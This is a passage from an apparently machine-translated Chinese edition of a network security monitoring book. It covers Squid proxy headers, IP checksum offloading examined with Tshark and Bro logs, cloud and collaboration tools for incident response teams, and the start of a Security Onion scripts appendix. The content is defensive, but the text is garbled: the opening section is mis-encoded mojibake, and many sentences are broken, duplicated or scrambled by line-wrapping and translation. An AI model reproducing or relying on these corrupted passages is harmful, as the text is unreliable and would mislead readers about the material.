Host: www.bejtlich.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.taosecurity.com/training.html
Via: 1.1 localhost:3128 (squid/2.7.STABLE9)v
X-Forwarded-For: 192.168.2.108w
Cache-Control: max-age=259200
Connection: keep-alive
å表 13-5ï¼å¨ä½ç½® Y çå°çä»ä»£çå°æå¡å¨çæµé
å表 13-5 å å«å 个æè¶£çç¹æ§ï¼
⢠éè¿ GET / è¯·æ± uï¼ä»£ç访é®çèµæºç±»ä¼¼äºå¸¸è§ç
书ä¸å ¶ä»å°æ¹çå°çæ¶æç½é¡µæµéãç¶èï¼å®ä¸
å¦å表 13-2 æç¤ºç代ç请æ±\ã
⢠代çå æ¬ä¸ä¸ª Via 声æ vï¼è¡¨ææ¶åäºä¸ä¸ª
Squid 代çã
â¢ ä»£çæ´é²äºå®¢æ·ç«¯çç宿º IP å°å
å¨ X-Forwarded-For 声æ w ä¸çç½é¡µè¯·æ±ã
注
ä¸äºå®å ¨åæå¸æ å¿è¿äºâç¹æ§âï¼ç¹å«æ¯ X-Forwarded-For 声æï¼ä¼å 许æä½æ¶æç½ç«çå ¥ä¾µè çå°è¿äºå¤´ä¿¡æ¯ï¼å¹¶ äºè§£å ¬å¸çå é¨ç½ç»æ¯å¦ä½é ç½®çãå®å ¨å¢éå¿ é¡»å¹³è¡¡ ä»ä»¬è·å¾çå¯è§æ§ä¸å¯è½æ³é²çææä¿¡æ¯ä¹é´çé£é©ã
å表 13-6 æ¾ç¤ºäºæ¥èªæå¡å¨çååºã
$ cat 205.186.148.046.00080-192.168.001.002.02770
HTTP/1.1 200 OK
Date: Sun, 21 Apr 2013 20:53:38 GMT
Server: Apache/2
Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT
ETag: "2e800ed-c713-4d25031f1f600"
Accept-Ranges: bytes
Content-Length: 3195
Connection: close
Content-Type: text/html; charset=UTF-8
代çåæ ¡éªå 293
<head>-- æªæ --
å表 13-6ï¼å¨ä½ç½® Y çå°ç仿å¡å¨å°ä»£ççæµé
å°±å表 13-6 ä¸çç½é¡µæå¡å¨èè¨ï¼ä»£çæ¯ sys-
发起请求的系统。它返回的内容没有特别之处。
(请注意,在 Listing 13-3 中如何比较二者,特别是要关注
代理添加的头部信息。)
处理生产网络中的代理
CIRTs 在处理生产网络中的代理时有四种选择:
- 尝试获取由代理生成的日志,以便查看流量。
从代理的角度来看。
- 使用第二章中描述的技术部署多个传感器。
这方面,代理就像 NAT 问题——
将传感器放置在需要的位置,以便查看真实的源和目的。
国家 IP 地址。
- 更广泛地利用生成的日志中保存的信息。
由支持代理的网络安全监控(NSM)软件处理。如 Listings 13-2 中的转录所示,
在 13-3 和 13-5 中,关于代理使用的信息可以供审查。
- 使用能够启用特殊功能的软件来跟踪 X-Forwarded-For
提取客户端 IP 地址并报告警报数据时,需要适当的可见性。
(例如,请参见 Snort 中的 enable_xff 配置选项。)
本章的下一部分将采取第三种方法。我们将使用
使用 Bro 检查这些示例流量,看看它是否能生成有用的
生成有助于我们处理代理的信息。在处理我们的
代理问题,但是我们需要稍微绕道进入代理的世界。
IP 校验和。
校验和
IP 头包含一个校验和作为错误检测机制。网络
设备在处理数据包时会计算并插入校验和。当
下游设备接收到 IP 数据包后,会计算该数据包的校验和,
基于 IP 头的内容生成该数据包。为了我们的目的,
计算时,方程将 IP 校验和字段本身设为零。如果计算出的校验和
如果计算出的校验和与 IP 数据包中的校验和不匹配,设备
可能会丢弃该数据包。设备检测到错误并通过
丢弃 IP 数据包。
294 第十三章


一个良好的校验和
图 13-2 显示了一个与数据包内容匹配的正确校验和。
图 13-2:TCP 数据包的正确 IP 校验和 0x81a4
IP 校验和是 0x81a4(0x 表示该值以十六进制表示)。
十进制)。Wireshark 在校验和值后附加了词汇[正确]。
显示它计算了一个校验和,并发现它与所期望的值一致
数据包中报告的内容。(请注意,这是一个 TCP 段,但我们关注的是
这里只涉及 IP 校验和。)
一个错误的校验和
图 13-3 显示了一个不正确的校验和,无法与数据包内容匹配。
图 13-3:TCP 数据包中错误的 IP 校验和 0x0000
在这里,我们看到 IP 校验和是 0x0000。Wireshark 不喜欢
该值。它通过在 IP 头条目上方显示红条来报告问题,且
词汇[不正确,应该是 0x1529(可能由“IP 校验和卸载”引起?)]。
Wireshark 显示它计算的校验和与值不匹配
在包中报告的。(这也是一个 TCP 段。)
代理与校验和 295
使用 Tshark 标识错误和正确的校验和
Tshark 提供了几种有用的方法来快速查看校验和。我们将使用
我们收集的流量中,in “代理”第 289 页 是我们的示例数据。我们应该是在进行性能故障排除,预计会依赖
这些跟踪数据来回答我们的问题。首先,查看录制的跟踪文件
如列表 13-7 所示,位于位置 X。
$ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport
-e ip.dst -e tcp.dstport -e ip.checksum
源 IP SrcPort 目标 IP DstPort IP 校验和
192.168.2.108 50949 172.16.2.1 3128 0x81a4
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949 172.16.2.1 3128 0x81af
192.168.2.108 50949 172.16.2.1 3128 0x8036
172.16.2.1 3128 192.168.2.108 50949 0x0000
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949 172.16.2.1 3128 0x81ad
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949 172.16.2.1 3128 0x81a5
172.16.2.1 3128 192.168.2.108 50949 0x0000
172.16.2.1 3128 192.168.2.108 50949 0x0000
192.168.2.108 50949 172.16.2.1 3128 0x81a4
列表 13-7:bej-int .pcap 跟踪文件的自定义 Tshark 输出
列表 13-7 调用了几个新选项,仅显示我们想要的信息
这正是我们关心的。我们使用了 -T fields 和 -E separator=/t 选项来告诉
Tshark 我们希望显示包的特定部分,并且希望
使用 -e 选项,我们告诉
Tshark 仅显示我们需要的包的部分内容。(我在后面添加了标题)
命令行使你更容易识别字段。)
看最后一列,似乎很奇怪的是每个包从
172.16.2.1 的校验和是 0x0000。当我们看到相同的情况时
在 Wireshark 中,该工具报告了一个校验和错误。
我们可以再次调用 Tshark 来告诉我们哪些包的校验和计算错误
如列表 13-8 所示,校验和
$ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport
-e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum_bad==1"
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
172.16.2.1 3128 192.168.2.108 50949 6 0x0000
列表 13-8:显示只含有错误校验和的 Tshark 输出样本
296 第十三章
在列表 13-8 中,我们添加了显示过滤器 -R "ip.checksum_bad==1"。这告诉 Tshark 只显示那些校验和不匹配的包
Tshark 认为它们应该是这样的。如果你只想查看检查合格的包
校验和,试试列表 13-9 中显示的命令。
$ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport
-e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum_good==1"
192.168.2.108 50949 172.16.2.1 3128 6 0x81a4
192.168.2.108 50949 172.16.2.1 3128 6 0x81af
192.168.2.108 50949 172.16.2.1 3128 6 0x8036
192.168.2.108 50949 172.16.2.1 3128 6 0x81ad
192.168.2.108 50949 172.16.2.1 3128 6 0x81a5
192.168.2.108 50949 172.16.2.1 3128 6 0x81a4
示例 13-9:仅显示有效校验和的 Tshark 输出
在示例 13-9 中,我们添加了显示过滤器 -R "ip.checksum_good==1"。这
告诉 Tshark 仅显示那些校验和匹配 Tshark 预期值的数据包
认为它们应该如此。你可以得到与示例 13-8 相同的结果
使用显示过滤器 -R "ip.checksum_good==0" 并获得相同的结果
示例 13-9 使用显示过滤器 -R "ip.checksum_bad==0"。
在调查为什么我们会得到这些错误的校验和之前,让我们看看
是否也出现在bej-ext.pcap中。如同我们在示例 13-7 中所做的,我们可以使用 Tshark 显示追踪文件的关键元素。示例 13-10 提供了
语法和输出。
$ tshark -n -r ../bej-ext.pcap -T fields -E separator=/t -e ip.src -e tcp.
srcport -e ip.dst -e tcp.dstport -e ip.checksum
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x5b28
192.168.1.2 2770 205.186.148.46 80 0x0000
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x9597
205.186.148.46 80 192.168.1.2 2770 0x8fee
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x8fed
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x9367
192.168.1.2 2770 205.186.148.46 80 0x0000
192.168.1.2 2770 205.186.148.46 80 0x0000
192.168.1.2 2770 205.186.148.46 80 0x0000
205.186.148.46 80 192.168.1.2 2770 0x9593
示例 13-10:针对 bej-ext.pcap 追踪文件的自定义 Tshark 输出
在示例 13-10 中,代理是 192.168.1.2,服务器是 205.186.148.46,
提供 Web 服务的端口为 80 TCP。再次,我们看到可疑的 IP 校验和
(0x0000)表示从代理到 Web 服务器的所有数据包。与bej-int.pcap一样,生成 IP 流量且校验和错误的系统是代理。为什么?
代理和校验和 297
校验和错误如何发生
IP 校验和偶尔因错误而未能匹配预期值
这些错误通过互联网传输时极为罕见,但
除非涉及到实际的网络问题,否则为什么这么多校验和
在示例 13-7 和 13-10 中出现失败,为什么这些失败如此一致?
Wireshark 在图 13-3 中报告的错误,[不正确,应为
0x1529(可能是由于“IP 校验和卸载”?)],可以帮助我们回答这些问题。
传统上,操作系统和网络协议栈负责
用于计算 IP 校验和,但现代网络驱动程序和一些网卡
假设这个负担。这一过程称为卸载,它使网络堆栈能够快速发送流量。在
驱动程序,或者更好的是,通过专用硬件来快速计算校验和。
像列表 13-7 和 13-10 中的频繁 IP 校验和错误将
干扰你进行 NSM 的能力。带有坏校验和的跟踪文件会
通常是因为在卸载了网络流量捕获的平台上捕获数据包
将校验和过程交给驱动程序或硬件。网络看到的包
安全工具有一个 0x0000 或空的校验和,但“真实”的包已发送
在传输链路上有一个真实的校验和,它是由网络
驱动程序或硬件。(当 SO 配置网络接口时,设置
脚本禁用驱动程序和硬件的校验和卸载,试图
避免这些问题。)
在我们的场景中,代理依赖于校验和卸载来加速
这会影响网络流量的传输。不幸的是,平台上的软件
代理在所有传出的包上设置 0x0000 的 IP 校验和。发送之前,数据包
一旦数据包发送到链路上,驱动程序或 NIC 硬件就会计算并插入
拥有正确的校验和。来自其他设备的包有正确的
校验和。
Bro 和坏的校验和
现在我们已经查看了好和坏的 IP 校验和,让我们研究一下为什么
它们很重要。一些网络安全工具假设带有坏 IP
校验和将永远不会被接收端处理。网络
网络安全工具会丢弃该包。不幸的是,这些坏的校验和
可能仅仅是由卸载引起的。
Bro 会忽略带有坏 IP 校验和的流量。例如,注意它是如何
处理 bej-int.pcap 跟踪文件,如列表 13-11 所示\。
$ sudo bro -r bej-int.pcap /opt/bro/share/bro/site/local.bro
警告:没有定义 Site::local_nets。通常,定义本地网络是个好主意。
警告:BPFConf 文件名中仍有模板值:/etc/nsm/{{hostname}}-{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,第 99 行)
警告:BPFConf 文件名中仍有模板值:/etc/nsm/ds61so-{{interface}}/bpf-bro。
conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,第 99 行)
列表 13-11: Bro 读取 bej-int.pcap 跟踪文件。
298 第十三章
默认情况下没有什么奇怪的东西,但看看 weird.log,如列表 13-12 所示\。
$ cat weird.log
separator \x09
set_separator ,
empty_field (空)
unset_field -
path weird
open 2013-04-23-19-40-10
fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p name addl notice peer
types time string addr port addr port string string bool string 1366577618.249515 - - - - - bad_IP_checksum - F
bro
1366577618.251250 rhdNNjfMGkc 192.168.2.108 50949 172.16.2.1 3128
upossible_split_routing - F bro
1366577618.251867 rhdNNjfMGkc 192.168.2.108 50949 172.16.2.1 3128
vdata_before_established - F bro
close 2013-04-23-19-40-10
列表 13-12: Bro weird.log 文件
第一条记录报告可能的分割路由 u,因为 Bro 只看到了
一半的流量,即从 192.168.2.108 到 172.16.2.1 的数据包。这些数据包
列表 13-9 中的数据包具有良好的 IP 校验和。第二条记录报告
data_before_established v,因为 Bro 没有看到完整的 TCP 三次握手
握手。当 Bro 错过三次握手时,它会感到困惑,
在会话尚未完全建立时看到数据被传输。
Bro 的 http.log 文件也很奇怪,如列表 13-13 所示\。
$ cat http.log
separator \x09
set_separator ,
empty_field (空)
unset_field -
path http
open 2013-04-23-19-40-10
fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p trans_
depth method host uri referrer user_agent request_body_len
response_body_len status_code status_msg info_code info_msg filename tags username password proxied mime_type md5 extraction_file
types time string addr port addr port count string string string string string count count count string count string string table[enum] string string table[string] string string file
代理和校验和 299
1366577618.251867 rhdNNjfMGkc 192.168.2.108 50949 172.16.2.1 3128 1
GETu www.bejtlich.net http://www.bejtlich.net/ http://www.taosecurity.
com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101
Firefox/20.0 0 0 - - - - - (空) - - -
close 2013-04-23-19-40-10
列表 13-13:Bro http .log 文件
我们看到这里有一个 GET 请求 u,但没有回复的迹象。
设置 Bro 忽略坏的校验和
我们可以告诉 Bro 关闭其校验和验证,并处理所有流量
使用 -C 开关,如列表 13-14 所示\。
$ sudo bro -r bej-int.pcap -C /opt/bro/share/bro/site/local.bro
警告:没有定义 Site::local_nets。通常建议定义你的本地网络。
警告:模板值仍然存在于 BPFConf 文件名中:/etc/nsm/{{hostname}}-{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,第 99 行)
警告:1366577618.694909 模板值仍然存在于 BPFConf 文件名中:/etc/nsm/ds61so-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,第 99 行)
列表 13-14:Bro 读取跟踪文件并忽略校验和。
现在没有 weird.log 文件。如果我们查看 http.log,我们会看到它正是我们所期待的。列表 13-15 显示了结果。
$ cat http.log
separator \x09
set_separator ,
empty_field (空)
unset_field -
path http
open 2013-04-23-20-06-19
fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p trans_
depth method host uri referrer user_agent request_body_len
response_body_len status_code status_msg info_code info_msg filename tags username password proxied mime_type md5 extraction_file
types time string addr port addr port count string string string string string count count count string count string string table[enum] string string table[string] string string file
300 第十三章
1366577618.251867 aqjpeHaXm7f 192.168.2.108 50949 172.16.2.1 3128 1
GETu www.bejtlich.net http://www.bejtlich.net/v http://www.taosecurity.
com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101
Firefox/20.0 0 3195 200 OKw - - - (empty) - -
- text/htmlx - -
close 2013-04-23-20-06-19
列表 13-15: Bro http.log 文件用于 bej-int .pcap 禁用校验和验证 现在我们不仅看到 GET 请求 u 访问http://www.bejtlich.net/ v,但
也是服务器 200 OK 回复的记录 w,表示页面
返回的是text/html x。你可以进行类似的分析,涉及
Bro 处理bej-ext.pcap的方式可以查看它在处理并忽略
校验和检查。列表 13-16 展示了当 Bro 处理http.log文件时的结果
读取bej-ext.pcap跟踪文件,禁用校验和处理。
$ cat http.log
separator \x09
set_separator ,
empty_field (empty)
unset_field -
path http
open 2013-04-24-00-36-03
fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p trans_
depth method host uri referrer user_agent request_body_len
response_body_len status_code status_msg info_code info_msg filename tags username password proxied mime_type md5 extraction_file
types time string addr port addr port count string string string string string count count count string count string string table[enum] string string table[string] string string file
1366577618.269074 ua3JI6YJIxh 192.168.1.2 2770 205.186.148.46 80
1 GET www.bejtlich.net /u http://www.taosecurity.com/training.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 0 3195
200 OKv - - - (empty) - - wVIA -> 1.1 localhost:3128
(squid/2.7.STABLE9),X-FORWARDED-FOR -> 192.168.2.108x text/html - -
close 2013-04-24-00-36-04
列表 13-16: Bro http.log 文件用于 bej-ext .pcap 禁用校验和验证 在列表 13-16 中,有趣的字段是 GET 请求/u,的
服务器返回的 200 OK 回复 v,Via 语句 w 揭示了存在
Squid 代理的记录,以及 X-Forwarded-For 字段 x 显示真实的源
Web 客户端的 IP 地址。仅通过访问此类日志,你
可以使用 X-Forwarded-For 字段来识别真实的源 IP 地址
如果你只看到位置 Y 的活动,并且需要知道哪个客户端
浏览器正在访问相关的 Web 服务器。
代理和校验和 301
校验和故事的寓意是这样的:如果你必须从一个使用校验和卸载传输流量的系统中收集流量,确保你的工具
知道如何处理这种情况。记住,你可以告诉 Bro 忽略
使用-C 开关处理坏校验和。请参阅 SO 邮件列表和 Wiki 或
其他工具的手册页中有关于等效功能的详细信息。Snort,对于
例如,提供了以下选项来处理校验和处理:
-k <模式> 校验和模式(all, noip, notcp, noudp, noicmp, none)
现在你知道如何处理校验和卸载特性了
在这个运行 Squid 代理的 pfSense 盒子上收集流量的特点,你
可以使用这里收集的数据进行故障排除。没有考虑到
考虑到校验和问题,你可能已经错误地解释了流量
直接处理并得出了有关网络性能的奇怪结论。
结论
本章介绍了两个可能让分析师感到困扰的网络特性
列表:代理和校验和。代理存在问题,因为它们引入了另一个中间设备,增加了网络的复杂性。
它们引入了另一个中间设备,增加了网络的复杂性。
像 NAT 一样,代理会隐藏真实的源和目标 IP 地址。
尽管本章只展示了一个代理在工作,但一些组织
链接多个代理!这样的多代理场景使得所谓的
NSM 和代理的圣杯——代理日志——无法获得。当多个
代理涉及时,没有单一日志可以显示分析师需要查看的所有活动。
如果代理日志可用,它们将成为有用的补充
应用程序如 ELSA 收集的数据。
我们还讨论了校验和和因卸载而导致的异常结果。
这个功能旨在加速网络连接,但也暴露了一个缺点:零化
当由流量捕获工具报告校验和时。虽然这更容易
在解决这个挑战时,工程师不要惊讶于一位热心的分析师
提供了一个包含对话的一方或双方的跟踪文件,其中包含 0x0000
对于 IP 校验和。在本章的帮助下,你应该能够理解
发生的原因以及如何处理这个问题。
302 第十三章
结论
我写这本书是为了帮助读者开始一个网络
在网络安全监控操作中
他们的组织。我使用了开源
SO 套件展示如何在
快速且具有成本效益的方式。最后这一部分
本书展示了 NSM 的其他几个选项
相关操作。我的目标是展示 NSM 如何应用于其他领域
数字防御以及我认为 NSM 将如何适应日益复杂的
信息处理需求。
首先,我讨论了云计算如何影响 NSM。云计算呈现出
挑战和机遇,意识到这两者将帮助安全管理
管理人员更好地保护他们的数据。其次,我谈到了工作的重要性
流量以及为什么一个操作性、以指标为驱动的模型是 CIRT 成功的关键。
云计算
美国国家标准与技术研究院(NIST)定义了云计算
计算时
启用无处不在、方便、按需网络的模型
为工作访问共享的可配置计算资源池
(例如,网络、服务器、存储、应用程序和服务)可以
可以快速配置并释放,管理最小化
管理工作或服务提供商交互的努力。1
NIST 描述了三种服务模型:
软件即服务 (SaaS) 允许消费者使用在云基础设施上运行的提供商应用程序。
平台即服务 (PaaS) 允许消费者部署提供商运行在云基础设施上的应用程序,
创建的应用程序或使用程序构建的已获取应用程序——
提供商支持的编程语言、库、服务和工具,
被移植到云基础设施上。
基础设施即服务 (IaaS) 允许消费者访问处理、存储、网络和其他基本计算资源,
在这种模式下,消费者能够部署并运行任意软件,
可以包括操作系统和应用程序。
一项 SaaS 提供服务,如 Salesforce.com(http://www.salesforce.com/),为
客户提供一个能够提供特定功能的应用程序,如客户关系管理。
客户关系管理。PaaS 提供服务,如 Heroku(http://
www.heroku.com/),为客户提供一套编程语言和
具备构建自己应用程序的相关能力。IaaS 提供服务,如
亚马逊弹性计算云 (EC2,https://aws.amazon.com/ec2),为
客户可以通过虚拟机及相关支持基础设施来使用,
他们可以安装自己的软件。
从 NSM 的角度看,云计算的一个关键特征是
这个信息处理是“在别处”完成的。一个例外可能是
这个例外可能是由一个组织为内部使用而运营的“私有”云,
或者是由一个合作组织运营的“社区”云,
合作伙伴。当云是“公共”或“混合”的时候,意味着一个组织的
数据被存储、处理和传输到常规企业边界之外。
跨越企业边界。虽然许多安全专业人士对这一点进行了辩论,
本节讨论了云安全和相关话题中的可见性挑战,
云计算所带来的挑战。
云计算挑战
数据处理发生在组织外部时,CIRT 无法
依赖于第二章介绍的网络仪表模型。
1. Peter Mell 和 Timothy Grance,《NIST 云计算定义》,NIST 特别出版物 800-145,美国国家标准与技术研究院,2011 年 9 月,http://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf。
304 结论

云用户通常无法部署网络探针或配置 SPAN 端口,
查看云提供商基础设施的流量进出。凭其本质,
云基础设施往往是多租户环境,服务于数百个
服务上共享平台上的成百上千客户。尽管你可能
想查看处理你数据的云平台的进出流量,
你的云邻居可能不希望你看到他们的流量!
NSM 通常不是 SaaS 提供服务的选择,因为客户
与云公司提供的应用程序交互。客户可以
限制于依赖云提供商提供的日志。
对于 PaaS 服务,NSM 也很难实现,尽管客户可以选择
将应用程序级日志记录功能内建到他们构建的软件中。
在 PaaS 平台上。NSM 可能在 IaaS 服务中实现,但可视性
功能通常限于特定虚拟机。IaaS 上的 NSM 需要
轻量级方法,代理在特定虚拟机上收集和分析
网络中心的数据。
Threat Stack(http://www.threatstack.com/)是一个基于云的商业
提供 NSM 功能的 IaaS 云平台。Dustin Webber,
Snorby 工具的作者,与 Jen Andre 共同创立了 Threat Stack,以扩展
Snorby 超越企业之外。Threat Stack 提供了一个轻量级代理,
收集并生成关于各个终端的 NSM 信息,无论
在企业中或 IaaS 云平台上的示例。Threat Stack 代理报告
将其结果传输到由 Threat Stack 团队运营的基于云的控制器。
当分析师想要调查来自代理的 NSM 数据时,他们登录到
由 Threat Stack 发布的云应用程序。图 1 展示了 Threat
Stack 仪表盘,显示来自部署在虚拟私人
服务器。
图 1:Threat Stack 仪表盘
结论 305

Threat Stack 展示了云端挑战如何应对监控-
运行 IaaS 平台,可以通过使用云来收集和呈现
来自代理的 NSM 数据。这暗示了云计算的一些优势。
给 NSM 操作员带来的优势。
云计算的优势
云环境为分析师提供了强大且可扩展的工作环境
处理和挖掘 NSM 数据。通过将 NSM 数据放到云中,存储
分析能力问题会变得不那么突出。分析师必须感到舒适-
在云提供商应用安全控制后再进行处理。
敏感信息掌握在另一家公司手中。如果服务提供商能够
满足这些需求,云提供了令人兴奋的可能性。
Packetloop(http://www.packetloop.com/)是另一个基于云的商业
基于云的商业提供,聚焦点不同。Michael Baker
以及他在澳大利亚的团队开发了 Packetloop,作为一个基于云的应用
分析用户上传的网络流量。分析师可以发送网络流量
批量传输到 Packetloop,后者处理并以各种方式展示这些流量。
多种方式。图 2 展示了 Packetloop 仪表盘,显示与网络流量相关的
关联于数字语料库样本案例(http://digitalcorpora.org/corpora/
场景/m57-patents-scenario/)。
图 2:Packetloop 仪表盘,显示示例网络流量
Threat Stack 和 Packetloop 是企业用户的选择,令人放心-
可以将本地数据发送给云服务提供商。或许更重要的是,
这两种服务适合那些已经进行计算的客户。
在云端。换句话说,云上工作的客户可能
306 结论

感到舒适将日志或网络流量或两者发送到另一个云端
提供商,如安全供应商的效果。随着越来越多的计算工作从
企业迁移到云端时,我预计这种“云对云”关系会
对安全和监控需求变得越来越重要。
工作流、度量和协作
NSM 不仅仅是工具。NSM 是一种操作,而这一概念意味着
工作流、度量和协作。工作流确定了分析员执行检测和响应任务时所遵循的一系列步骤。
度量,如事件的分类和数量,以及经过的时间
从事件检测到遏制,衡量
工作流。协作使分析员能更聪明、更快速地工作。
工作流与度量
下一代 NSM 工具将融合这些关键功能。
Mandiant 在其多个商业产品中提供了这些功能。
目标是帮助客户更快地确定入侵范围,管理
升级和解决过程,并突出改进的领域。
图 3 显示了两个关键事件响应指标的图表。
图 3:跟踪未解决事件与关闭事件的平均时间
在图 3 中,我们看到一系列连接成线的点,显示了
关闭一个事件所需的平均时间,以小时计算。在这种情况下,“关闭”
进行短期事件遏制(STIC)以减轻
被入侵者攻击的计算机所带来的风险。柱状图显示了
每日未解决事件的数量。未解决事件的激增
4 月 23 日的事件导致平均关闭时间也急剧上升。这表明
CIRT 因处理的事件数量过多而不堪重负
如果组织的目标是平均关闭时间为 10 小时或更短,
这个激增表明,当
未解决事件的数量超过每日 10 个案件。CIRT 经理可以利用
使用这些度量来证明额外人员的需求,或调整流程或工具
以保持 CIRT 的正常运作。
结论 307

协作
能够管理多个同时入侵的 CIRT 通常能从
强大的协作工具。许多分析员熟悉维基、聊天
渠道和客户端,以及其他用于交换事件数据的工具。一个新的
这种协作工具结合了处理 NSM 数据和共享分析
分析能力。就像在线文字处理应用程序 Google Docs 一样
文档允许多个用户同时协作,某些工具是
正在涌现,提供类似的功能给 NSM 操作员。
CloudShark( http://www.cloudshark.org/)是一个协作
具有创新的包分析工具。QA Cafe 的团队( http://www.qacafe.com/)
构建了 CloudShark,作为客户可以在本地部署的平台
和多个团队成员共享。(尽管其名称为 CloudShark
不存在于云端;客户购买软件并在其内部部署
他们的企业。2)分析师将数据包捕获上传到本地设备
然后通过网页浏览器操作数据包捕获。图 4 展示了
一个 CloudShark 渲染 DNS 和在线证书状态的示例
协议(OCSP)流量。
图 4:CloudShark 显示 DNS 和 OCSP 流量
CloudShark 看起来非常类似于 Wireshark,因此分析师会感到很
在界面中定位。CIRT 可以维护一个本地的 CloudShark 应用程序
作为从各种入侵中提取的关键网络跟踪的存储库。
2. 本节中的示例由 CloudShark 和 Jeremy Stretch 提供,他们在线发布样本跟踪数据,地址为 http://packetlife.net/captures/protocol/dns/ 和 http://www.cloudshark
.org/captures/46b2c8403863/ 用于展示 CloudShark 的能力。
308 结论
例如,当 Sguil 从传感器检索流量以构建记录时,服务器会保留该流量的本地存档。CIRT 可以将所有
将这些捕获数据上传到 CloudShark,使其易于获取和浏览
由分析师进行。这些分析师还可以通过
信息和评论功能,并为跟踪数据添加关键标签,便于后续
参考。作为一个本地设备,CloudShark 可能解决一些
纯云端产品所带来的问题也需要关注。
结论
本书的最后部分展示了 NSM 功能的一些示例
在 SO 套件之外发现的功能。随着 CIRT 意识到 NSM 的强大功能
必须应用于云环境,并且可以通过云
和协作平台,我预计会看到更多利用
这些功能。Threat Stack、Packetloop、Mandiant 和 CloudShark
以下是一些公司将 NSM 相关服务整合进
他们的核心产品。幸运的话,这些及其他解决方案提供商将
继续将工具和流程交到全球 CIRT 手中。
如果我们在对手完成任务之前阻止他们,就有可能战胜对手
他们的任务。正如自 1990 年代初以来的情况一样,NSM 将继续
是对抗入侵者的一种强大且具成本效益的方式。振作起来,CIRT;
未来依然光明!
结论 309
SO 脚本
A N D 配置
由 Security Onion 的创建者 Doug Burks 提供
本附录提供了一个快速参考
到 Security Onion (SO) 控制脚本
和配置文件。该材料将
帮助 SO 用户更好地管理和优化
他们的传感器部署。
SO 控制脚本
NSM 控制脚本是 SO 的核心组件之一。这些
脚本最初是 NSMnow 软件包的一部分,该软件包由
SecurixLive 团队(http://www.securixlive.com/nsmnow/docs/index.php),但是
它们已被重度修改,以便在 SO 中使用。
NSM 脚本最初是为控制 Sguil 服务器(sguild)、其代理(snort_agent、pads_agent、sancp_agent 和 pcap_agent)及其传感器而开发的
组件(snort、pads、sancp 和 daemonlogger)。以下是其中的一些
我们对 SO 所做的更改:
• 添加了使用 Suricata 代替 Snort 的功能
• 添加了通过 PF_RING 启动多个 Snort 实例的功能(并且
barnyard2 和 snort_agent 的实例数目相同)
• 添加了对 Argus 组件的控制
• 添加了对 Bro 的控制
• 添加了对 Sguil 的 OSSEC 代理的控制
• 添加了对 Sguil 的 HTTP 代理的控制
• 用 prads 替换了 pads 和 sancp
• 用 netsniff-ng 替换了 daemonlogger
NSM 脚本安装在 */usr/sbin/nsm**,并需要 root 权限
权限,所以它们应该使用 sudo 运行。目录 /usr/sbin/ 应该
在你的 PATH 变量中,因此你不需要包含完整路径
执行这些命令时,示例中包含了完整路径
完整性。
我们不会涵盖每个脚本的所有选项,但你可以探索每个
使用 --help 查看这些脚本的更多信息。例如,查看
若要获取有关 /usr/sbin/nsm 的更多信息,请输入此命令:
$ sudo /usr/sbin/nsm --help
NSMnow 管理脚本旨在轻松配置和管理
你的 NSM 安装情况。错误、评论和火焰可以发送到
SXL 团队联系方式:dev@securixlive.com
NSMnow 管理脚本不提供任何形式的保证。
使用:/usr/sbin/nsm [选项]
选项:
-U 检查并应用任何可用的升级
-V 显示版本信息
-? 显示使用信息
长选项:
--sensor 见 nsm_sensor
--server 见 nsm_server
--all 在传感器和服务器上执行操作
--upgrade 与 -U 相同
--version 与 -V 相同
--help 与 -? 相同
312 附录
/usr/sbin/nsm
高级的 /usr/sbin/nsm 脚本可以将选项传递给某些下级
伪造脚本,如 nsm_server 和 nsm_sensor。要检查所有
服务器和传感器进程,请输入以下命令:
$ sudo /usr/sbin/nsm --all --status
状态:securityonion
- sguil 服务器 [ OK ]
状态:HIDS
- ossec_agent(sguil)[ OK ]
状态:Bro
名称 类型 主机 状态 进程 ID 同行 启动时间
bro 独立 localhost 正在运行 13015 0 18 Feb 16:35:40
状态:securityonion-eth1
-
netsniff-ng(完整数据包)[ OK ]
-
pcap_agent(sguil)[ OK ]
-
snort_agent-1(sguil)[ OK ]
-
snort-1(警报数据)[ OK ]
-
barnyard2-1(spooler,统一 2 格式)[ OK ]
-
prads(会话/资产)[ OK ]
-
sancp_agent(sguil)[ OK ]
